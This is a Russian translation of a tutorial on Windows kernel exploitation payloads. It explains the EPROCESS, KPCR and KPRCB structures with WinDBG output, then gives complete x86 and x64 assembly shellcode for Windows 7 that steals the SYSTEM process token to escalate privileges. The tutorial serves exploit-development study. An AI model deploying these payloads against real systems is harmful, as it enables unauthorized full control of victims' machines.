Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 2 – Полезные нагрузки

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 2 – Полезные нагрузки

Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.

Автор: Mohamed Shahat

Этот пост посвящен полезным нагрузкам, которые будут использоваться в следующих частях.

Весь код находится в моем репозитории.

Некоторые замечания

  • Иногда вы сможете управлять адресом возврата функции. В этом случае вы сможете указать этот адрес на буфер, находящийся в памяти пользовательского режима (user-mode) только если функция SMEP (Supervisor Mode Execution Protection) отключена.
  • Полезные нагрузки должны находиться в сегменте памяти, в котором разрешено выполнение. Если использовать память с атрибутами только на чтение или любую другую комбинацию, где отсутствуют права на выполнение, выполнение шелл-кода завершится неудачно из-за функции DEP (Data Execution Prevention; Предотвращение выполнение данных).
  • Полезные нагрузки написаны на ассемблере. Если вы не фанат копирования шестнадцатеричных строк, рекомендую выполнять компиляцию проекта на лету Visual Studio. Этот метод работает для архитектур x86 и x64 и позволяет избежать проблем при удалении начала/конца функций, создания RWX-буфера (read, write, execute) и копирования шелл-кода или записи встроенного ассемблерного x64-кода.

Руководство по настройке проекта в Visual Studio для записи встроенного ассемблерного x64-кода.

Существуют другие альтернативы:

  • Использование masm и копирование шелл-кода в RWX-буфер во время выполнения.
  • Использование функций с атрибутом naked. Однако этот метод работает только для x86.
  • Встроенный ассемблерный код также работает только для x86.

Базовая обертка полезной нагрузки для x86

.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD proc

; Payload here

PAYLOAD ENDP
end

Базовая обертка полезной нагрузки для x64
.code
PUBLIC PAYLOAD
PAYLOAD proc

; Payload here

PAYLOAD ENDP
end

Краткое описание внутреннего устройства процесса

  • Каждый Windows-процесс представлен структурой EPROCESS. Содержимое EPROCESS доступно для ознакомления при помощи команды dt nt!_EPROCESS optional_process_address.
  • Большинство структур EPROCESS находится в пространстве ядра. PEB (Process Environment Block; Блок окружения процесса) находится в пространстве пользователя. Соответственно, код пространства пользователя может взаимодействовать с этой структурой. Содержимое PEB доступно для ознакомления при помощи команды dt nt!_PEB optional_process_address. Если вы находитесь в контексте процесса, можете воспользоваться альтернативной командой !peb

kd> !process 0 0 explorer.exe
PROCESS ffff9384fb0c35c0
SessionId: 1 Cid: 0fc4 Peb: 00bc3000 ParentCid: 0fb4
DirBase: 3a1df000 ObjectTable: ffffaa88aa0de500 HandleCount: 1729.
Image: explorer.exe

kd> .process /i ffff9384fb0c35c0
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff802`80002c60 cc int 3

kd> !peb
PEB at 0000000000bc3000
InheritedAddressSpace: No
ReadImageFileExecOptions: No

...

  • Структура EPROCESS содержит поле Token, которое сообщает системе о том, какие привилегии у процесса. Наша цель – токен привилегированного процесса (например, System). Если мы сможет украсть токен и перезаписать токен текущего процесса, привилегии текущего процесса повысятся. Эта техника называется «расширение привилегий».
  • В разные операционных системах используются разные смещения. Соответственно, вам нужно менять эти значения в полезной нагрузке. WinDBG – ваш друг и помощник.

Полезная нагрузка для кражи токена

Представьте себе, что мы умеем запускать любой код с целью замены токена текущего процесса на более привилегированный токен, с чего бы мы начали? Первая мысль, которая приходит в голову – PCR, поскольку местонахождение этой структуры не меняется. При помощи WinDBG мы сможем найти структуру EPROCESS текущего процесса и произвести замену токена на токен процесса System (PID 4).

  • Нахождение PCR

PCR имеет фиксированное расположение (gs:[0] и fs:[0] для x64/x86)

  • Расположение PcrbData

kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
+0x028 LockArray : Ptr64 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : Ptr64 Void
+0x038 IdtBase : Ptr64 _KIDTENTRY64
+0x040 Unused : [2] Uint8B
+0x050 Irql : UChar
+0x051 SecondLevelCacheAssociativity : UChar
+0x052 ObsoleteNumber : UChar
+0x053 Fill0 : UChar
+0x054 Unused0 : [3] Uint4B
+0x060 MajorVersion : Uint2B
+0x062 MinorVersion : Uint2B
+0x064 StallScaleFactor : Uint4B
+0x068 Unused1 : [3] Ptr64 Void
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <====

  • Расположение CurrentThread

kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <====

  • Расположение EPROCESS текущего процесса

Адрес EPROCESS находится практически в том же месте: _KTHREAD.ApcState.Process.

  • Расположение EPROCESS процесса SYSTEM

Используя связанный список _EPROCESS.ActiveProcessLinks.Flink, мы может переходить между процессами итеративным путем. Во время каждой итерации нужно проверять, не равен ли UniqueProcessId числу 4, которое соответствует PID’у процесса System.

  • Замена токена

После нахождения заменяем токен текущего процесса на токен процесса SYSTEM.

Обратите внимание, что значение поля Token принадлежит типу _EX_FAST_REF, и младшие 4 бита не являются частью токена.

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B

Обычно при замене токена это значение нужно сохранять, однако я не сталкивался с какими-либо проблемами при заменах.

Полезная нагрузка для кражи токенов под Windows 7 x86 SP1

.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken proc

pushad ; Save registers state

; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]

mov eax, [eax + 50h] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, 04h ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0B8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + 0F8h] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

StealToken ENDP
end

Полезная нагрузка для кражи токенов под Windows 7 x64

.code
PUBLIC GetToken
GetToken proc

; Start of Token Stealing Stub
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 70h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7

mov rdx, 4h ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov rax, [rax + 188h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 188h
cmp[rax + 180h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

GetToken ENDP
end


Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!